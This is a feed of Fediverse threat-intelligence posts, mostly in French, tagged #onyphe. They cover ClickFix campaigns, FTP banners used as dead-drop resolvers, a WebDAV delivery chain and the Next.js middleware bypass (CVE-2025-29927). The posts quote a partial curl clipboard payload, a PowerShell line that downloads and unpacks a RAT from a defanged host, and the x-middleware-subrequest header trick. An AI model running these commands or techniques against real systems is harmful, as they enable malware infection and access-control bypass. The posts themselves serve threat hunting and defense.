home.social

#onyphe — Public Fediverse posts

Live and recent posts from across the Fediverse tagged #onyphe, aggregated by home.social.

fetched live
  1. :mastodon: decio @[email protected] ·

    Bonus déniché au passage : une page #ClickFix (faux « Just a moment... » Cloudflare) qui colle dans le presse-papier le même ''conhost. exe --headless cmd /c "curl.exe ...".

    SOCRadar annonçait la technique adaptable au ClickFix: bah... c'est déjà fait on dirait.

    Et l'avantage d'ONYPHE ici : la réponse HTTP est stockée telle quelle. Pas besoin que la page soit encore en ligne, ni de passer le cloaking: on lit le code source directement. 🔍

    #ONYPHE #ThreatIntel #CTI #infosec #Cyberveille

    #clickfix #onyphe #threatintel #cti #infosec #cyberveille
  2. :mastodon: decio @[email protected] ·

    Les commandes planquées dans la bannière FTP comme les hints à l'époque des WAREZ :) , toutes lancées via conhost.exe --headless (zéro flash de console)

    Le 2e saut livre le payload en clair :

    (New-Object System.Net.WebClient).DownloadFile('hxxp:///i', $env:localappdata+'\d.zip'); Expand-Archive -Path $env:localappdata\d.zip ... --init "$env:username"

    Avec un anti-sandbox : le RAT ne détonne que si le nom de session correspond à celui de la victime visée.

    #ONYPHE #ThreatIntel #CTI #infosec #Cyberveille

    #onyphe #threatintel #cti #infosec #cyberveille
  3. :mastodon: decio @[email protected] ·

    Très intéressant, le papier de SOCRadar sur les bannières FTP détournées en dead drop resolver.
    Excellente source de chasse ...avec des bonnes vibes old-school

    👇
    socradar.io/blog/ftp-banners-n

    J'ai repassé leur pivot sur #ONYPHE : apparemment l'infra est toujours vivante et se renouvelle.

    #ThreatIntel #CTI #infosec #Cyberveille

    #onyphe #threatintel #cti #infosec #cyberveille
  4. :mastodon: decio @[email protected] ·

    Tiens, jolie trouvaille pour la saison de chasse 👀

    Nouvelle évolution très graphique de #ClickFix, qui s’appuie cette fois sur WebDAV pour délivrer le payload. (!)

    Ça change un peu des chaînes directes habituelles en PowerShell / MSHTA / WScript : ici, l’accès initial passe par >net use, montage du partage distant, exécution du batch comme un fichier local, puis démontage.

    Cible : Windows uniquement.

    Le move est intéressant : moins de dépendance aux interpréteurs/lolbins ultra-monitorés, et un abus de WebDAV qui peut passer plus discrètement si ce n’est pas surveillé.

    Source du finding Daniel
    👇
    linkedin.com/posts/daniel-b1_c

    Analyse Atos
    👇
    atos.net/en/lp/cybershield/inv

    Pour ceux qui veulent enrichir la détection / le blocage :
    la petite liste à zigouiller dans vos firewalls et filtres DNS
    👇
    threatfox.abuse.ch/browse/tag/

    Et en bonus : recette de chasse / pivot en image via Onyphe.

    Et en bonus : recette de chasse / pivot en image via #Onyphe.

    #CyberVeille #WebDav #blueteam

    #clickfix #cyberveille #webdav #blueteam #onyphe
  5. :mastodon: decio @[email protected] ·

    ⚠️ Une faille critique dans Next.js permet de contourner les vérifications d'autorisation effectuées dans le middleware.

    👉 Framework React trés populaire pour le rendu web côté serveur.

    🔍 Détails techniques

    En injectant l'en-tête x-middleware-subrequest, un attaquant peut bypasser les contrôles d'accès et accéder à des ressources normalement protégées.

    💥 Exploit documenté ici
    ⬇️
    "Next.js and the corrupt middleware: the authorizing artifact"
    👇
    zhero-web-sec.github.io/resear

    🛡️ Versions vulnérables

    • 15.x < 15.2.3
    • 14.x < 14.2.25
    • 11.1.4 → 13.5.6

    🔧 Solutions

    ✔️ Mettez à jour vers 15.2.3 ou 14.2.25

    👇
    nextjs.org/blog/cve-2025-29927
    ⬇️
    github.com/advisories/GHSA-f82

    ✔️ En attendant : bloquez les requêtes contenant x-middleware-subrequest côté serveur / WAF

    🛰️ Et effectivement selon le moteur de recherche de surface d’attaque ONYPHE,

    il y en a un paquet… y compris en Suisse 🇨🇭

    #CyberVeille #NextJS #CVE_2025_29927 #websec #infosec #onyphe #ASD

    #cyberveille #nextjs #cve_2025_29927 #websec #infosec #onyphe
  6. Opalsec :verified: @[email protected] ·

    Check out Shimon, a project that churns out all the hash values you need to pivot on URL IOCs to find similar sites and infrastructure: github.com/ninoseki/shimon

    Just want to give it a test run? Check it out here: shimon-6983d71a338d.herokuapp.

    #infosec #cyber #soc #blueteam #malwareanalysis #censys #shodan #zoomeye #onyphe #virustotal

    #infosec #cyber #soc #blueteam #malwareanalysis #censys